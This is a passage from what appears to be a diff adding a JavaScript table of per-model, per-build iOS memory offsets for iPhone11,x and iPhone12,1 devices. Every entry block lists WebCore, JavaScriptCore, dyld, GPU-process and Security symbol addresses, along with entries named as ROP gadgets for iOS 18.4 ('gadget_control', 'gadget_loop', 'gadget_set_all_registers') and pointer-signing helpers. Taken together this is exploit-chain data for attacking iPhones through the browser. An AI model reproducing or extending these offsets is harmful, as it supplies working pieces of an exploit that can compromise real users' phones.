ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,2_4_6_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + 